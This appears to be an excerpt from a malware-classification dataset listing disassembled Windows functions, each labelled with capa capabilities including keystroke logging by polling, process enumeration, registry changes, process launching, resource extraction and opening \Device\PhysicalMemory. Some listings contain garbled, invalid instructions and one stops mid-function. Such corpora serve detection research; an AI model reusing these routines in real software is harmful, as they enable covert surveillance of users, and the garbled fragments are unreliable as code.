joyce8/EMBER2024-capa huggingface dataset:
Function at 0x429ca3
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x44b808]
je 0x429cbe
inc edi
cmp edi, 0x17
jb 0x429caf
cmp edi, 0x17
jae 0x429e3e
push ebp
push 3
call fcn.0043234f
cmp eax, 1
pop ecx
je 0x429e0a
push 3
call fcn.0043234f
test eax, eax
pop ecx
jne 0x429cf2
cmp dword [0x44b544], 1
je 0x429e0a
cmp ebx, 0xfc
je 0x429e3d
push 0x43f698
mov ebx, 0x314
push ebx
mov ebp, 0x44e9c8
push ebp
call fcn.00427371
add esp, 0xc
test eax, eax
je 0x429d28
push esi
push esi
push esi
push esi
push esi
call fcn.00429eb2
add esp, 0x14
push 0x104
mov esi, 0x44e9e1
push esi
push 0
mov byte [0x44eae5], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x429d6c
push 0x43f680
push 0x2fb
push esi
call fcn.00427371
add esp, 0xc
test eax, eax
je 0x429d6c
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00429eb2
add esp, 0x14
push esi
call fcn.00427ad0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x429db1
push esi
call fcn.00427ad0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x44ecdc
push 0x43f67c
sub ecx, eax
push ecx
push eax
call fcn.00427dff
add esp, 0x14
test eax, eax
je 0x429db1
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00429eb2
add esp, 0x14
jmp 0x429db3
xor esi, esi
push 0x43f678
push ebx
push ebp
call fcn.00427cb9
add esp, 0xc
test eax, eax
je 0x429dd3
push esi
push esi
push esi
push esi
push esi
call fcn.00429eb2
add esp, 0x14
push dword [edi*8 + 0x44b80c]
push ebx
push ebp
call fcn.00427cb9
add esp, 0xc
test eax, eax
je 0x429df5
push esi
push esi
push esi
push esi
push esi
call fcn.00429eb2
add esp, 0x14
push 0x12010
push 0x43f650
push ebp
call fcn.00432192
add esp, 0xc
jmp 0x429e3d
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x429e3d
cmp ebp, 0xffffffff
je 0x429e3d
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x44b80c]
push dword [esi]
call fcn.00427ad0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x432192
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0042b43f
xor ebx, ebx
cmp dword [0x44f29c], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x432268
push 0x4400dc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x432348
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4400d0
push edi
call esi
cmp eax, ebx
je 0x432348
push eax
call fcn.0042b3d1
mov dword [esp], 0x4400c0
push edi
mov dword [0x44f29c], eax
call esi
push eax
call fcn.0042b3d1
mov dword [esp], 0x4400ac
push edi
mov dword [0x44f2a0], eax
call esi
push eax
call fcn.0042b3d1
mov dword [0x44f2a4], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0042747f
test eax, eax
pop ecx
pop ecx
je 0x432236
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00429eb2
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x432268
push 0x440090
push edi
call esi
push eax
call fcn.0042b3d1
cmp eax, ebx
pop ecx
mov dword [0x44f2ac], eax
je 0x432268
push 0x440078
push edi
call esi
push eax
call fcn.0042b3d1
pop ecx
mov dword [0x44f2a8], eax
mov eax, dword [0x44f2a8]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4322ed
cmp dword [0x44f2ac], ecx
je 0x4322ed
push eax
call fcn.0042b448
push dword [0x44f2ac]
mov esi, eax
call fcn.0042b448
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4322ed
cmp edi, ebx
je 0x4322ed
call esi
cmp eax, ebx
je 0x4322ba
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4322ba
test byte [ebp - 0x18], 1
jne 0x4322ed
lea eax, [ebp - 0x10]
push eax
call fcn.004274b6
test eax, eax
pop ecx
je 0x4322d5
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00429eb2
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4322e4
or dword [ebp + 0x10], 0x200000
jmp 0x432328
or dword [ebp + 0x10], 0x40000
jmp 0x432328
mov eax, dword [0x44f2a0]
cmp eax, dword [ebp - 8]
je 0x432328
push eax
call fcn.0042b448
cmp eax, ebx
pop ecx
je 0x432328
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x432328
mov eax, dword [0x44f2a4]
cmp eax, dword [ebp - 8]
je 0x432328
push eax
call fcn.0042b448
cmp eax, ebx
pop ecx
je 0x432328
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44f29c]
call fcn.0042b448
cmp eax, ebx
pop ecx
je 0x432348
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x43234a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x437a48
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x44b538]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.004379dd
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00426e70
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x437a97
cmp dword [ebp - 0x1c], 5
jb 0x437aaf
jmp 0x437aab
cmp dword [ebp - 0x10], 1
jne 0x437aaf
cmp dword [ebp - 0x1c], 4
ja 0x437aab
jne 0x437aaf
cmp dword [ebp - 0x18], 0
jbe 0x437aaf
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4412b8
call fcn.004378b1
test eax, eax
jge 0x437ad0
mov byte [0x44c920], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00425d1a
add ebp, 0x78
leave
ret
Function at 0x41e448
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
mov ebx, ecx
push esi
push str.ntdll.dll
and dword [ebx], 0
and dword [ebx + 4], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [ebx], eax
je 0x41e4af
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.ZwOpenSection
push eax
call esi
test eax, eax
mov dword [ebx + 0x14], eax
je 0x41e4af
push str.ZwMapViewOfSection
push dword [ebx]
call esi
test eax, eax
mov dword [ebx + 0x18], eax
je 0x41e4af
push str.ZwUnmapViewOfSection
push dword [ebx]
call esi
test eax, eax
mov dword [ebx + 0x1c], eax
je 0x41e4af
push str.RtlInitUnicodeString
push dword [ebx]
call esi
test eax, eax
mov dword [ebx + 0x20], eax
jne 0x41e4b3
xor eax, eax
jmp 0x41e50a
lea eax, [ebx + 0x24]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov esi, str.DevicePhysicalMemory
lea edi, [ebp - 0x50]
push 0xb
lea eax, [ebp - 0x50]
pop ecx
rep movsd dword es:[edi], dword [esi]
push eax
lea eax, [ebp - 8]
push eax
movsw word es:[edi], word [esi]
call dword [ebx + 0x20]
xor eax, eax
lea ecx, [ebp - 8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x18
push eax
lea eax, [ebx + 4]
push 4
push eax
mov dword [ebp - 0x18], ecx
call dword [ebx + 0x14]
xor ecx, ecx
test eax, eax
setge cl
mov eax, ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41e635
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [edi + 0x12]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [edi + 4], 0x100000
jae 0x41e697
sgdt [ebp - 8]
sldt word [ebp - 2]
movzx eax, word [ebp - 2]
add eax, dword [ebp - 6]
push 7
pop ebx
movzx esi, byte [eax + 7]
movzx ecx, byte [eax + 4]
movzx eax, word [eax + 2]
shl esi, 8
add esi, ecx
shl esi, 0x10
add esi, eax
xor eax, eax
mov word [edi + 0xc], ax
mov dword [edi + 0xe], eax
add esi, 0x38
add esi, 8
inc ebx
test byte [esi + 5], 0x80
je 0x41e69e
cmp bx, 0x7ff
jbe 0x41e686
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push 8
push eax
push esi
call fcn.004ea940
mov ax, word [edi + 4]
or word [esi], 0xffff
mov word [esi + 2], ax
mov eax, dword [edi + 4]
shr eax, 0x10
mov byte [esi + 4], al
mov eax, dword [edi + 4]
shr eax, 0x18
add esp, 0xc
or byte [esi + 6], 0x1f
mov byte [esi + 7], al
lea eax, [ebx*8 + 7]
mov byte [esi + 5], 0xf2
push 1
mov word [edi + 0xc], ax
mov dword [edi + 0xe], esi
pop eax
jmp 0x41e699
Function at 0x420cd5
Capabilities:
Enumerate processes
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, dword [ebp + 8]
mov eax, dword [eax]
test eax, eax
je 0x420d00
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 0xc]
jne 0x420cf7
mov ecx, dword [ebp + 0x10]
cmp dword [eax + 0xc], ecx
je 0x420cfc
mov eax, dword [eax + 0x10]
jmp 0x420ce3
xor eax, eax
leave
ret
and dword [ebp - 4], 0
push edi
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 8], edi
je 0x420dc8
push ebx
push esi
push 0x1c
lea eax, [ebp - 0x24]
pop esi
push eax
push edi
mov dword [ebp - 0x24], esi
call sub.KERNEL32.dll_Thread32First
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x420dc1
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp + 0xc]
je 0x420d57
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], esi
push eax
push edi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x420d3c
jmp 0x420dc1
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x420dc1
lea eax, [ebp - 0x14c]
mov esi, 0x128
push eax
push edi
mov dword [ebp - 0x14c], esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x420dbe
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x144]
test dword [esi + edi*8 + 0x1574ffff], edi
lea eax, [ebp - 0x14c]
mov dword [ebp - 0x14c], esi
push eax
push edi
call sub.KERNEL32.dll_Process32Next
jmp 0x420d7f
push dword [ebp + 0x10]
lea eax, [ebp - 0x128]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.00420a6c
add esp, 0x10
mov dword [ebp - 4], eax
push edi
call ebx
push dword [ebp - 8]
call ebx
pop esi
pop ebx
mov eax, dword [ebp - 4]
pop edi
leave
ret

Function at 0x42277f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp + 0xc]
push esi
push eax
push 1
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4227d8
lea eax, [ebp + 8]
mov dword [ebp + 8], 0x104
push eax
lea eax, [ebp - 0x104]
push eax
push esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
leave
ret
Function at 0x4228f4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
push edi
xor ebx, ebx
push dword [ebp + 0xc]
push ebx
push ebx
push dword [ebp + 8]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov dword [ebp - 4], eax
ja 0x4229de
lea eax, [ebp - 0x20c]
mov edi, SysReAllocString
push eax
push str..htm
push edi
call fcn.0042277f
add esp, 0xc
test eax, eax
jne 0x4229de
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x20c]
test esp, esi
std
invalid
jmp [eax - 0x7c]
out dx, eax
push edi
add byte [eax - 1], dl
salc
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.0042277f
add esp, 0xc
test eax, eax
jne 0x4229de
lea eax, [ebp - 0x20c]
push str.__1_
push eax
call fcn.004ecc68
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jne 0x4229bb
lea eax, [ebp - 0x20c]
push 0x57ef78
push eax
call fcn.004eb440
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jne 0x4229bb
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edi, [ebp + eax - 0x20d]
jmp 0x4229bd
mov byte [edi], bl
push 0x57d704
push edi
call esi
push dword [ebp + 8]
push edi
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42cda4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
movzx eax, byte [ebp + 8]
cmp dword [ebp + 8], 0x10
push esi
mov esi, ecx
mov dword [esi + 0x3c], eax
jb 0x42cdd4
cmp dword [ebp + 8], 0x12
ja 0x42cdd4
push 0x5913bc
push dword [ebp + 0x10]
call fcn.004eb9e0
pop ecx
pop ecx
jmp 0x42ced8
push edi
lea eax, [ebp - 0x20]
push 0x20
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
mov edi, 0x5913bc
push edi
push dword [ebp + 0x10]
call fcn.004eb9e0
test byte [ebp + 0xf], 0x20
pop ecx
pop ecx
je 0x42ce2d
lea eax, [ebp - 0x20]
push 0x57f2fc
push eax
call fcn.004ecc68
pop ecx
test eax, eax
pop ecx
je 0x42ce1a
lea eax, [ebp - 0x20]
push edi
push eax
call fcn.004eb9e0
pop ecx
pop ecx
push str._Alt
push dword [ebp + 0x10]
call fcn.004eb9f0
or byte [esi + 0x3d], 1
pop ecx
pop ecx
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
call ebx
test ax, ax
jge 0x42ce70
lea eax, [ebp - 0x20]
push str.Shift
push eax
call fcn.004ecc68
pop ecx
test eax, eax
pop ecx
je 0x42ce5d
lea eax, [ebp - 0x20]
push edi
push eax
call fcn.004eb9e0
pop ecx
pop ecx
push str._Shift
push dword [ebp + 0x10]
call fcn.004eb9f0
or byte [esi + 0x3d], 4
pop ecx
pop ecx
push 0x11
call ebx
test ax, ax
pop ebx
jge 0x42cead
lea eax, [ebp - 0x20]
push str.Ctrl
push eax
call fcn.004ecc68
pop ecx
test eax, eax
pop ecx
je 0x42ce9a
lea eax, [ebp - 0x20]
push edi
push eax
call fcn.004eb9e0
pop ecx
pop ecx
push str._Ctrl
push dword [ebp + 0x10]
call fcn.004eb9f0
or byte [esi + 0x3d], 2
pop ecx
pop ecx
lea eax, [ebp - 0x20]
push eax
call fcn.004eafc0
pop ecx
pop edi
test eax, eax
jbe 0x42ced8
push 0x57f2cc
push dword [ebp + 0x10]
call fcn.004eb9f0
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x10]
call fcn.004eb9f0
add esp, 0x10
mov eax, dword [ebp + 0x10]
pop esi
leave
ret 0xc

Function at 0x42db50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 0xc]
push esi
push edi
push str.BIN_DATA
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x42dbac
push esi
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x42dbac
push esi
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp dword [ebp + 8], 0
mov esi, eax
je 0x42dba8
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x42dbac
push esi
push eax
push dword [ebp + 8]
call fcn.004eabd0
add esp, 0xc
mov eax, esi
jmp 0x42dbaf
or eax, 0xffffffff
pop edi
pop esi
pop ebp
ret
Function at 0x43039c
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x52d20d
call fcn.004ea774
sub esp, 0x88
push ebx
push esi
push edi
mov esi, ecx
call fcn.0042fbd3
lea ecx, [esi + 0xccd]
call fcn.0041c289
mov eax, dword [0x58c61c]
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0xa8e]
xor ebx, ebx
neg eax
sbb eax, eax
lea ecx, [ebp - 0x10]
dec ebp
invalid
and eax, 0xf
mov dword [ebp - 4], ebx
add eax, 0xe804
push eax
call fcn.0050af9e
mov eax, dword [ebp - 0x10]
cmp dword [eax - 8], ebx
je 0x4308e4
mov eax, dword [0x58c61c]
mov dword [ebp - 0x30], eax
push 0xf090
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 1
inc ebp
cld
add eax, ebp
nop
stosd dword es:[edi], eax
or eax, 0x8d0a6a00
dec ebp
test al, ch
push ecx
dec ebp
or eax, 0xd0458b00
Function at 0x43e0a0
Capabilities:
Create process on windows

Disassembly:
mov eax, 0x52e23d
call fcn.004ea774
sub esp, 0x4c
push ebx
push esi
mov esi, ecx
push edi
lea eax, [esi + 0x807]
push eax
call fcn.004c9230
pop ecx
push eax
lea ecx, [ebp - 0x14]
call fcn.00505b46
mov edi, dword [ebp + 8]
xor ebx, ebx
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.0050600c
mov eax, dword [0x58c61c]
mov dword [ebp - 0x10], eax
lea eax, [esi + 0x767]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp + 8]
push eax
call fcn.0042fbf0
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00505c11
lea ecx, [ebp + 8]
mov byte [ebp - 4], 1
call fcn.00505ad8
push dword [ebp - 0x10]
mov ecx, edi
push str.__account__
call fcn.005013c0
push dword [ebp - 0x14]
mov ecx, edi
push str.__password__
call fcn.005013c0
push dword [esi + 0x9bd]
mov ecx, edi
push str.__commpwd__
call fcn.005013c0
mov al, byte [esi + 0x865]
lea ecx, [ebp - 0x14]
push eax
call fcn.0050119d
push dword [ebp - 0x14]
mov ecx, edi
push str.__setcode__
call fcn.005013c0
push dword [ebp - 0x10]
lea eax, [ebp - 0x58]
push eax
call fcn.004eb9e0
lea eax, [ebp - 0x18]
push eax
call fcn.0042e2d1
mov eax, dword [eax]
mov ecx, dword [esi + 0xc79]
add esp, 0xc
lea edx, [ebp - 0x58]
push 0x40
push edx
push eax
push 7
push ecx
call fcn.004b2d75
lea ecx, [ebp - 0x18]
call fcn.00505ad8
lea eax, [ebp - 0x58]
mov ecx, edi
push eax
push str.__port__
call fcn.005013c0
cmp dword [esi + 0xc1b], ebx
je 0x43e211
push 0x11c
call fcn.00505819
pop ecx
mov ecx, eax
mov dword [ebp + 8], ecx
cmp ecx, ebx
mov byte [ebp - 4], 3
je 0x43e1ce
push esi
call fcn.0047c249
mov dword [ebp + 8], eax
jmp 0x43e1d1
mov dword [ebp + 8], ebx
mov ecx, dword [ebp + 8]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x43e220
push dword [edi]
call fcn.0047c3a5
mov ecx, dword [ebp + 8]
push 5
call fcn.00509fa2
push 1
mov ecx, dword [ebp + 8]
push dword [esi + 0xc2b]
push dword [esi + 0xc27]
push dword [esi + 0xc23]
push dword [esi + 0xc1f]
call fcn.00509f12
jmp 0x43e220
mov edi, dword [edi]
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call fcn.00505ad8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00505ad8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x43fe19
Capabilities:
Delete file

Disassembly:
mov eax, 0x52e5bc
call fcn.004ea774
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
mov dword [ebp - 0x10], ebx
cmp word [esi + 0x90], 0
je 0x43fe77
mov eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x10]
jne 0x43ffb8
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
cmp ax, 0x404
jne 0x43fe62
lea eax, [esi + 0x92]
push 0x50
push eax
call fcn.004c93b0
pop ecx
pop ecx
add esi, 0x92
push 0
push esi
mov ecx, ebx
call fcn.004382e0
jmp 0x43ffb8
mov eax, dword [esi + 0x145]
mov edx, dword [ebp + 0x10]
mov ecx, eax
push edi
sub ecx, dword [ebp + 0xc]
lea edi, [ecx + edx]
cmp eax, edi
jge 0x43fe8f
mov edi, eax
cmp dword [0x591d58], 0
jne 0x43feae
push 0x809f
mov ecx, ebx
call fcn.00438290
mov dword [0x591d58], 1
mov ecx, dword [ebx + 0x110b]
lea eax, [ebp + 8]
push eax
call fcn.004ab496
and dword [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.0050b565
mov eax, dword [esi + 0x141]
mov byte [ebp - 4], 1
cmp eax, dword [esi + 0x13d]
jl 0x43fee6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x43ff64
test eax, eax
jne 0x43ff0b
push eax
push 0x3001
push dword [ebp + 8]
lea ecx, [ebp - 0x20]
call fcn.0050b677
test eax, eax
je 0x43ff64
lea ecx, [ebp - 0x20]
call fcn.0050b971
mov ebx, eax
jmp 0x43ff35
jle 0x43ff64
push 0
push 1
push dword [ebp + 8]
lea ecx, [ebp - 0x20]
call fcn.0050b677
test eax, eax
je 0x43ff64
lea ecx, [ebp - 0x20]
call fcn.0050b971
push 0xfffffffffffffff0
mov ebx, eax
pop eax
sub eax, dword [esi + 0x141]
add ebx, eax
cmp ebx, edi
jge 0x43ff59
mov eax, dword [ebp - 0x20]
push 2
push 0
lea ecx, [ebp - 0x20]
call dword [eax + 0x28]
sub edi, ebx
lea eax, [ebx + esi + 0x149]
push edi
push eax
lea ecx, [ebp - 0x20]
call fcn.0050b7ce
lea ecx, [ebp - 0x20]
call fcn.0050b892
mov ebx, dword [ebp - 0x10]
mov eax, dword [ebp + 0x10]
pop edi
cmp dword [ebp + 0xc], eax
jne 0x43ffa0
and dword [0x591d58], 0
mov ecx, dword [ebx + 0xc7d]
lea esi, [ebx + 0xc7d]
test ecx, ecx
je 0x43ff8e
mov eax, dword [ecx]
push 1
call dword [eax + 4]
and dword [esi], 0
push 0
push 0x24
push 0x7e5
push dword [ebx + 0x1c]
call dword [sym.imp.USER32.dll_PostMessageA]
and byte [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.0050b5ba
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00505ad8
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc
Function at 0x44c925
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0x10], ebx
je 0x44c9c3
cmp dword [ebp + 8], ebx
je 0x44c9c3
cmp dword [ebp + 0xc], ebx
je 0x44c9c3
push esi
push edi
mov edi, 0xf003f
mov esi, reloc.OLEAUT32.dll_SysReAllocString
push edi
lea ecx, [ebp - 4]
push dword [ebp + 0x10]
mov dword [ebp - 4], ebx
push esi
call fcn.0044c876
test eax, eax
je 0x44c996
lea eax, [ebp + 0x10]
mov dword [ebp - 8], ebx
push eax
lea eax, [ebp - 8]
push eax
push ebx
push edi
push ebx
push ebx
push ebx
push dword [ebp + 0x10]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, ebx
jne 0x44c996
cmp dword [ebp - 4], ebx
je 0x44c990
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push dword [ebp + 0xc]
push 1
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 4], ebx
pop edi
pop esi
je 0x44c9c3
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
leave
ret

Function at 0x44c9c6
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x52fe63
call fcn.004ea774
sub esp, 0x118
push ebx
xor ebx, ebx
cmp dword [ebp + 0x10], ebx
mov dword [ebp - 0x20], ebx
je 0x44cac7
cmp dword [ebp + 0xc], ebx
je 0x44cac7
push esi
push edi
mov dword [ebp - 0x10], ebx
mov esi, 0xf003f
mov edi, reloc.OLEAUT32.dll_SysReAllocString
push esi
lea ecx, [ebp - 0x10]
push dword [ebp + 0x10]
mov dword [ebp - 4], 1
push edi
call fcn.0044c876
test eax, eax
je 0x44ca47
lea eax, [ebp + 0x10]
mov dword [ebp - 0x18], ebx
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push esi
push ebx
push ebx
push ebx
push dword [ebp + 0x10]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, ebx
jne 0x44ca47
cmp dword [ebp - 0x10], ebx
je 0x44ca41
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x123]
mov byte [ebp - 0x124], bl
mov dword [ebp - 0x1c], 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1c]
mov dword [ebp + 0x10], ebx
push eax
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x124]
lea ecx, [ebp - 0x14]
push eax
call fcn.00505b46
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 4], 2
call fcn.0050584d
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x20], 1
mov byte [ebp - 4], 1
call fcn.00505ad8
cmp dword [ebp - 0x10], ebx
pop edi
pop esi
je 0x44cad4
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x44cad4
mov ecx, dword [ebp + 8]
push 0x5913bc
call fcn.00505b46
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop ebx
mov dword fs:[0], ecx
leave
ret